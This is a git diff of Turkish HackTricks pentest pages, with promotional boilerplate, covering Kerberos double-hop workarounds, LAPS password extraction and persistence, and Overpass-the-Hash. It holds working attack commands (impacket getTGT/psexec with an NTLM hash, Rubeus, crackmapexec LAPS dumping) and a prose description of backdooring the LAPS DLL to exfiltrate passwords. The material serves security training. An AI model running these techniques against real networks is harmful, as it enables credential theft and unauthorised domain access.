* **Bir siber güvenlik şirketinde mi çalışıyorsunuz?** **Şirketinizi HackTricks'te reklamını görmek ister misiniz?** ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grubuna**](https://discord.gg/hRep4RUj7f) veya **telegram grubuna** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **üzerinden PR gönderin.**
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -20,27 +20,27 @@
Kerberos "Çift Atlama" sorunu, bir saldırganın **Kerberos kimlik doğrulamasını iki** **atlama** üzerinden kullanmaya çalıştığında ortaya çıkar, örneğin **PowerShell**/**WinRM** kullanarak.
Bir **Kimlik doğrulaması** **Kerberos** üzerinden gerçekleştiğinde, **kimlik bilgileri** **bellekte önbelleğe alınmaz**. Bu nedenle, mimikatz çalıştırsanız bile, kullanıcının makinede çalışan işlemlerini bulamazsınız.
Bir **kimlik doğrulaması** Kerberos üzerinden gerçekleştiğinde, **kimlik bilgileri** **bellekte önbelleğe alınmaz**. Bu nedenle, mimikatz'ı çalıştırırsanız, kullanıcının makinedeki kimlik bilgilerini **bulamazsınız** bile o kullanıcı işlemler çalıştırıyorsa.
Bu, Kerberos ile bağlandığınızda şu adımların izlendiği için olur:
1. Kullanıcı1 kimlik bilgilerini sağlar ve **alan denetleyicisi** Kullanıcı1'e bir Kerberos **TGT** döndürür.
2. Kullanıcı1, **TGT**'yi kullanarak **Sunucu1'e bağlanmak** için bir **hizmet biletiği** isteğinde bulunur.
3. Kullanıcı1, **Sunucu1'e bağlanır** ve **hizmet biletiğini sağlar**.
4. **Sunucu1**, Kullanıcı1'in kimlik bilgilerini önbelleğe almaz veya Kullanıcı1'in **TGT**'sini bulundurmaz. Bu nedenle, Sunucu1'den ikinci bir sunucuya giriş yapmaya çalıştığında, kimlik doğrulamasını **gerçekleştiremez**.
2. Kullanıcı1, **TGT**'yi kullanarak **Server1'e bağlanmak** için bir **hizmet biletiği** isteğinde bulunur.
3. Kullanıcı1, **Server1'e bağlanır** ve **hizmet biletiğini sağlar**.
4. **Server1**, Kullanıcı1'in kimlik bilgilerini önbelleğe almaz veya Kullanıcı1'in **TGT**'sini bulundurmaz. Bu nedenle, Server1'den ikinci bir sunucuya giriş yapmaya çalıştığında, kimlik doğrulamasını **gerçekleştiremez**.
### Sınırsız Delege
### Kısıtlanmamış Delege
Eğer PC'de **sınırsız delege** etkinse, bu olmaz çünkü **Sunucu**, kendisine erişen her kullanıcının bir **TGT**'sini **alır**. Dahası, sınırsız delege kullanılıyorsa muhtemelen **Etki Alanı Denetleyicisini** tehlikeye atabilirsiniz.\
[Sınırsız delege sayfasında daha fazla bilgi](unconstrained-delegation.md).
Eğer PC'de **kısıtlanmamış delege** etkinse, bu olmaz çünkü **Sunucu**, ona erişen her kullanıcının bir **TGT'sini alır**. Dahası, kısıtlanmamış delege kullanılıyorsa muhtemelen **Etki Alanı Denetleyicisini tehlikeye atabilirsiniz**.\
[Kısıtlanmamış delege sayfasında daha fazla bilgi](unconstrained-delegation.md).
### CredSSP
Bu sorunu önlemenin [**önemli derecede güvensiz**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) bir yolu da **Kimlik Güvenlik Destek Sağlayıcısı**'dır. Microsoft'tan:
Bu sorunu önlemenin başka bir yolu da [**önemli derecede güvensiz olan**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) **Kimlik Güvenlik Destek Sağlayıcısı**'dır. Microsoft'tan:
> CredSSP kimlik doğrulaması, kullanıcı kimlik bilgilerini yerel bilgisayardan uzak bir bilgisayara devreder. Bu uygulama, uzak işlemin güvenlik riskini artırır. Uzak bilgisayar tehlikeye atıldığında, kimlik bilgileri ona iletildiğinde, kimlik bilgileri ağ oturumunu kontrol etmek için kullanılabilir.
Güvenlik endişeleri nedeniyle **CredSSP**'nin üretim sistemlerinde, hassas ağlarda ve benzeri ortamlarda devre dışı bırakılması şiddetle tavsiye edilir. **CredSSP**'nin etkin olup olmadığını belirlemek için `Get-WSManCredSSP` komutu çalıştırılabilir. Bu komut, **CredSSP durumunu kontrol etmeye** olanak tanır ve hatta **WinRM** etkinse uzaktan çalıştırılabilir.
**CredSSP**'nin üretim sistemlerinde, hassas ağlarda ve benzeri ortamlarda güvenlik endişeleri nedeniyle devre dışı bırakılması kesinlikle önerilir. **CredSSP**'nin etkin olup olmadığını belirlemek için `Get-WSManCredSSP` komutu çalıştırılabilir. Bu komut, **CredSSP durumunu kontrol etmeye** olanak tanır ve hatta **WinRM** etkinse uzaktan çalıştırılabilir.
```powershell
Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock {
Get-WSManCredSSP
@ -48,16 +48,16 @@ Get-WSManCredSSP
```
## Çözümler
### Komutu Çağır
### Komut Çağırma
Çift atlama sorununu ele almak için, iç içe geçmiş bir `Invoke-Command` yöntemi sunulmaktadır. Bu doğrudan sorunu çözmez ancak özel yapılandırmalara gerek olmadan bir çözüm sunar. Bu yaklaşım, bir komutu (`hostname`) başlangıç saldıran makineden veya önceden kurulmuş bir PS-Session ile ilk sunucudan ikincil bir sunucuda çalıştırmayı sağlar. İşte nasıl yapılır:
Çift atlama sorununu ele almak için, iç içe geçmiş bir `Invoke-Command` yöntemi sunulmaktadır. Bu doğrudan sorunu çözmez ancak özel yapılandırmalara ihtiyaç duymadan bir çözüm sunar. Bu yaklaşım, bir komutu (`hostname`) başlangıç saldıran makineden yürütülen bir PowerShell komutu veya önceden kurulmuş bir PS-Session aracılığıyla ilk sunucuyla ikincil bir sunucuda yürütülmesine izin verir. İşte nasıl yapılır:
```powershell
$cred = Get-Credential ta\redsuit
Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock {
Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname}
}
```
### PSSession Yapılandırmasını Kaydet
### Kayıt PSSession Yapılandırması
Çift atlama sorununu atlamak için bir çözüm, `Register-PSSessionConfiguration`'ı `Enter-PSSession` ile kullanmaktır. Bu yöntem, `evil-winrm`'den farklı bir yaklaşım gerektirir ve çift atlama kısıtlamasından etkilenmeyen bir oturum sağlar.
```powershell
@ -68,7 +68,7 @@ klist
```
### Port Yönlendirme
Ara bir hedef üzerindeki yerel yöneticiler için, port yönlendirme isteklerin bir son sunucuya gönderilmesine olanak tanır. `netsh` kullanılarak, bir port yönlendirme kuralı eklenir ve yönlendirilen portu izin veren bir Windows güvenlik duvarı kuralı eklenir.
Ara bir hedef üzerindeki yerel yöneticiler için, port yönlendirme isteklerin bir son sunucuya gönderilmesine izin verir. `netsh` kullanılarak, bir port yönlendirme kuralı eklenir ve yönlendirilen portu izin veren bir Windows güvenlik duvarı kuralı eklenir.
```bash
netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23
netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446
@ -81,7 +81,7 @@ winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname
```
### OpenSSH
İlk sunucuya OpenSSH kurmak, özellikle atlamalı kutu senaryoları için çift atlama sorununa bir çözüm sağlar. Bu yöntem, Windows için OpenSSH'nin CLI kurulumunu ve yapılandırmasını gerektirir. Parola Kimliği Doğrulaması için yapılandırıldığında, bu, aracı sunucunun kullanıcı adına bir TGT almasına izin verir.
İlk sunucuya OpenSSH kurmak, özellikle jump box senaryoları için kullanışlı olan çift atlama sorununa bir çözüm sağlar. Bu yöntem, Windows için OpenSSH'nin CLI kurulumunu ve yapılandırmasını gerektirir. Parola Kimliği Doğrulaması için yapılandırıldığında, bu, aracı sunucunun kullanıcı adına bir TGT almasına izin verir.
#### OpenSSH Kurulum Adımları
@ -100,7 +100,7 @@ icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
* [https://learn.microsoft.com/en-gb/archive/blogs/sergey\_babkins\_blog/another-solution-to-multi-hop-powershell-remoting](https://learn.microsoft.com/en-gb/archive/blogs/sergey\_babkins\_blog/another-solution-to-multi-hop-powershell-remoting)
* [https://4sysops.com/archives/solve-the-powershell-multi-hop-problem-without-using-credssp/](https://4sysops.com/archives/solve-the-powershell-multi-hop-problem-without-using-credssp/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -108,10 +108,10 @@ icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
<summary><strong>Sıfırdan kahraman olana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* **Bir **<strong>**cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te** görmek ister misiniz? ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** takip edin.
* **Hacking püf noktalarınızı göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **üzerinden PR'lar göndererek paylaşın.**
* **Bir **<strong>**cybersecurity şirketinde mi çalışıyorsunuz**? **HackTricks'te şirketinizi reklamda görmek ister misiniz**? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Ailesi**](https://opensea.io/collection/the-peass-family)'ni keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks swag'ını alın**](https://peass.creator-spring.com)
* **💬** [**Discord grubuna**](https://discord.gg/hRep4RUj7f) **katılın veya** [**telegram grubuna**](https://t.me/peass) **katılın veya beni Twitter'da takip edin** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking püf noktalarınızı göndererek HackTricks ve hacktricks-cloud depolarına PR göndererek paylaşın** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -5,23 +5,23 @@
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da en son PEASS sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **[💬 Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) veya beni Twitter'da takip edin 🐦[@carlospolopm](https://twitter.com/hacktricks_live)**.
* **Hacking püf noktalarınızı paylaşarak [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**'a PR gönderin.
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya katkıda bulunun**.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Temel Bilgiler
Yerel Yönetici Parola Çözümü (LAPS), **yönetici parolalarının**, **benzersiz, rastgele ve sık sık değiştirilen** ve etki alanına katılmış bilgisayarlara uygulandığı bir sistem yönetimi aracıdır. Bu parolalar, Active Directory içinde güvenli bir şekilde depolanır ve yalnızca Erişim Kontrol Listeleri (ACL'ler) aracılığıyla izin verilen kullanıcılar tarafından erişilebilir. İstemci ile sunucu arasındaki parola iletimlerinin güvenliği, **Kerberos sürüm 5** ve **Gelişmiş Şifreleme Standardı (AES)** kullanılarak sağlanır.
Yerel Yönetici Parola Çözümü (LAPS), **yönetici parolalarının**, **benzersiz, rastgele ve sık sık değiştirilen** şekilde uygulandığı, etki alanına katılmış bilgisayarları yönetmek için kullanılan bir araçtır. Bu parolalar, Active Directory içinde güvenli bir şekilde depolanır ve yalnızca Erişim Kontrol Listeleri (ACL'ler) aracılığıyla izin verilen kullanıcılar tarafından erişilebilir. İstemci ile sunucu arasındaki parola iletimlerinin güvenliği, **Kerberos sürüm 5** ve **Gelişmiş Şifreleme Standardı (AES)** kullanılarak sağlanır.
LAPS'ın uygulanmasıyla etki alanının bilgisayar nesnelerinde **`ms-mcs-AdmPwd`** ve **`ms-mcs-AdmPwdExpirationTime`** olmak üzere iki yeni özellik eklenir. Bu özellikler sırasıyla **düz metin yönetici parolasını** ve **son kullanma zamanını** depolar.
LAPS'ın uygulanmasıyla etki alanının bilgisayar nesnelerinde, iki yeni özellik eklenir: **`ms-mcs-AdmPwd`** ve **`ms-mcs-AdmPwdExpirationTime`**. Bu özellikler, sırasıyla **düz metin yönetici parolasını** ve **son kullanma zamanını** depolar.
### Aktif olup olmadığını kontrol edin
```bash
@ -40,7 +40,7 @@ Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs
`\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` adresinden **LAPS politikasının ham halini indirebilirsiniz** ve ardından bu dosyayı insan tarafından okunabilir formata dönüştürmek için [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) paketinde bulunan **`Parse-PolFile`** kullanılabilir.
Ayrıca, **yerleşik LAPS PowerShell cmdlet'leri** kullanılabilirse, erişim sağladığımız bir makinede kullanılabilir:
Ayrıca, **yerel LAPS PowerShell cmdlet'leri** yüklü ise erişim sağladığımız bir makinede kullanılabilir:
```powershell
Get-Command *AdmPwd*
@ -61,7 +61,7 @@ Find-AdmPwdExtendedRights -Identity Workstations | fl
# Read the password
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
```
**PowerView** ayrıca **kimin şifreyi okuyabileceğini ve okuyabileceğini** bulmak için de kullanılabilir:
**PowerView** ayrıca **kimin şifreyi okuyabileceğini ve okuyabileceğini** bulmak için kullanılabilir:
```powershell
# Find the principals that have ReadPropery on ms-Mcs-AdmPwd
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
@ -72,8 +72,8 @@ Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd
### LAPSToolkit
[LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit), LAPS'ın çeşitli işlevlerle numaralandırılmasını kolaylaştırır.\
Bunlardan biri, **LAPS etkin olan tüm bilgisayarlar için `ExtendedRights`'ın ayrıştırılmasıdır.** Bu, genellikle korunan gruplardaki kullanıcılar olan **LAPS şifrelerini okuma yetkisine sahip özel olarak yetkilendirilmiş grupları** gösterecektir.\
Bir **hesap**, bir bilgisayarı bir etki alanına katıldığında, o makine üzerinde `Tüm Extended Rights` alır ve bu hak, **hesaba şifreleri okuma yeteneği** verir. Numaralandırma, bir kullanıcı hesabının bir makinedeki LAPS şifresini okuyabilme yeteneğine sahip olduğunu gösterebilir. Bu, **LAPS şifrelerini okuyabilen belirli AD kullanıcılarını hedeflememize yardımcı olabilir.**
Bunlardan biri, **LAPS etkinleştirilmiş tüm bilgisayarlar için `ExtendedRights`'ın ayrıştırılmasıdır.** Bu, genellikle korunan gruplardaki kullanıcılar olan **LAPS şifrelerini okuma yetkisine sahip grupları** gösterecektir.\
Bir **hesap**, bir bilgisayarı bir etki alanına **katıldığında**, o makine üzerinde `Tüm Extended Rights` alır ve bu hak, **hesaba şifreleri okuma** yeteneği verir. Numaralandırma, bir kullanıcı hesabının bir makinedeki LAPS şifresini okuyabilen bir hesabı gösterebilir. Bu, bize **LAPS şifrelerini okuyabilen belirli AD kullanıcılarını hedeflemede yardımcı olabilir.**
```powershell
# Get groups that can read passwords
Find-LAPSDelegatedGroups
@ -98,7 +98,7 @@ ComputerName Password Expiration
DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41
```
## **Crackmapexec ile LAPS Şifrelerinin Sızdırılması**
Eğer bir PowerShell erişiminiz yoksa, bunu uzaktan LDAP üzerinden kötüye kullanabilirsiniz. Bunun için
Eğer bir PowerShell erişimi yoksa, bunu uzaktan LDAP aracılığıyla istismar edebilirsiniz.
```
crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
```
@ -106,7 +106,7 @@ crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
### **Son Kullanma Tarihi**
Yönetici olduktan sonra, **şifreleri elde etmek** ve bir makinenin **şifresini güncellemesini engellemek** için **son kullanma tarihini geleceğe ayarlayarak** daha iyi bir zemin elde edebilirsiniz.
Yönetici olduktan sonra, şifreleri almak ve bir makinenin şifresini güncellemesini engellemek için son kullanma tarihini geleceğe ayarlamak mümkündür.
```powershell
# Get expiration time
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
@ -116,30 +116,30 @@ Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
```
{% hint style="warning" %}
Şifre hala sıfırlanacak, eğer bir **yönetici** **`Reset-AdmPwdPassword`** komut dosyasını kullanırsa; veya **Politika tarafından gerekliden daha uzun bir şifre son kullanma süresine izin verme** LAPS GPO'sunda etkinleştirilmişse.
Şifre hala sıfırlanacak, eğer bir **yönetici** **`Reset-AdmPwdPassword`** komut dosyasını kullanırsa; veya **Politika tarafından gerekliden daha uzun şifre süresine izin verme** LAPS GPO'da etkinleştirilmişse.
{% endhint %}
### Arka Kapı
LAPS için orijinal kaynak kodu [burada](https://github.com/GreyCorbel/admpwd) bulunabilir, bu nedenle kod içine (örneğin `Main/AdmPwd.PS/Main.cs` içinde `Get-AdmPwdPassword` yöntemi) bir arka kapı yerleştirmek mümkündür ki bu yeni şifreleri bir şekilde **dışarıya sızdıracak veya bir yerde depolayacak**.
LAPS için orijinal kaynak kodu [burada](https://github.com/GreyCorbel/admpwd) bulunabilir, bu nedenle kod içine (örneğin `Main/AdmPwd.PS/Main.cs` içindeki `Get-AdmPwdPassword` yöntemine) bir arka kapı yerleştirmek mümkündür ve bu şekilde **yeni şifreleri dışarı çıkarabilir veya bir yerde depolayabilir**.
Ardından, yeni `AdmPwd.PS.dll` dosyasını derleyin ve `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` konumuna yükleyin (ve değişiklik zamanını değiştirin).
## Referanslar
* [https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/](https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te** görmek ister misiniz? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizi HackTricks'te reklamını görmek ister misiniz? veya PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!**
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking püf noktalarınızı paylaşın, PR'lar göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya katkıda bulunun.**
</details>

View file

@ -2,26 +2,26 @@
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) görün
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek** ister misiniz? ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **[💬 Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya beni Twitter'da takip edin 🐦[@carlospolopm](https://twitter.com/hacktricks_live)**.
* **Hacking püf noktalarınızı [hacktricks repo'ya](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo'ya](https://github.com/carlospolop/hacktricks-cloud) PR göndererek paylaşın**.
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin.**
* **Hacking püf noktalarınızı paylaşarak [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**'a PR gönderin.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Overpass The Hash/Pass The Key (PTK)
**Overpass The Hash/Pass The Key (PTK)** saldırısı, geleneksel NTLM protokolünün kısıtlandığı ve Kerberos kimlik doğrulamasının öncelikli olduğu ortamlar için tasarlanmıştır. Bu saldırı, bir kullanıcının NTLM hash'ini veya AES anahtarlarını kullanarak Kerberos biletleri talep ederek ağdaki kaynaklara izinsiz erişim sağlar.
**Overpass The Hash/Pass The Key (PTK)** saldırısı, geleneksel NTLM protokolünün kısıtlandığı ve Kerberos kimlik doğrulamasının öncelikli olduğu ortamlar için tasarlanmıştır. Bu saldırı, bir kullanıcının NTLM hash'ini veya AES anahtarlarını kullanarak Kerberos biletleri talep ederek ağ içindeki kaynaklara izinsiz erişim sağlar.
Bu saldırıyı gerçekleştirmek için ilk adım, hedeflenen kullanıcının hesabının NTLM hash'ini veya şifresini elde etmeyi içerir. Bu bilgiyi elde ettikten sonra, hesabın Ticket Granting Ticket (TGT) alınabilir ve saldırganın kullanıcının izinleri olduğu hizmetlere veya makineleri erişmesine olanak tanır.
Bu saldırıyı gerçekleştirmek için ilk adım, hedeflenen kullanıcının hesabının NTLM hash'ini veya şifresini elde etmeyi içerir. Bu bilgiyi elde ettikten sonra, hesabın bir Ticket Granting Ticket (TGT) alınabilir, bu da saldırganın kullanıcının izinleri olduğu hizmetlere veya makineleri erişmesine olanak tanır.
Süreç aşağıdaki komutlarla başlatılabilir:
```bash
@ -29,16 +29,16 @@ python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2
export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
```
AES256 gerektiren senaryolar için `-aesKey [AES anahtarı]` seçeneği kullanılabilir. Dahası, elde edilen bilet, smbexec.py veya wmiexec.py gibi çeşitli araçlarla kullanılabilir, saldırı alanını genişleterek.
For scenarios necessitating AES256, the `-aesKey [AES key]` option can be utilized. Moreover, the acquired ticket might be employed with various tools, including smbexec.py or wmiexec.py, broadening the scope of the attack.
_PyAsn1Error_ veya _KDC cannot find the name_ gibi karşılaşılan sorunlar genellikle Impacket kütüphanesini güncelleyerek veya IP adresi yerine ana bilgisayar adını kullanarak çözülür, Kerberos KDC ile uyumluluğu sağlar.
Encountered issues such as _PyAsn1Error_ or _KDC cannot find the name_ are typically resolved by updating the Impacket library or using the hostname instead of the IP address, ensuring compatibility with the Kerberos KDC.
Bu tekniğin başka bir yönünü gösteren alternatif bir komut dizisi Rubeus.exe kullanılarak aşağıdaki gibidir:
An alternative command sequence using Rubeus.exe demonstrates another facet of this technique:
```bash
.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
```
Bu yöntem, **Anahtarı Geçir** yaklaşımını yansıtır ve doğrudan kimlik doğrulama amaçları için biletin ele geçirilmesine ve kullanılmasına odaklanır. Bir TGT isteğinin başlatılması, varsayılan olarak RC4-HMAC kullanımını belirten `4768: Bir Kerberos kimlik doğrulama bileti (TGT) istendi` olayını tetikler, ancak modern Windows sistemleri genellikle AES256'yı tercih eder.
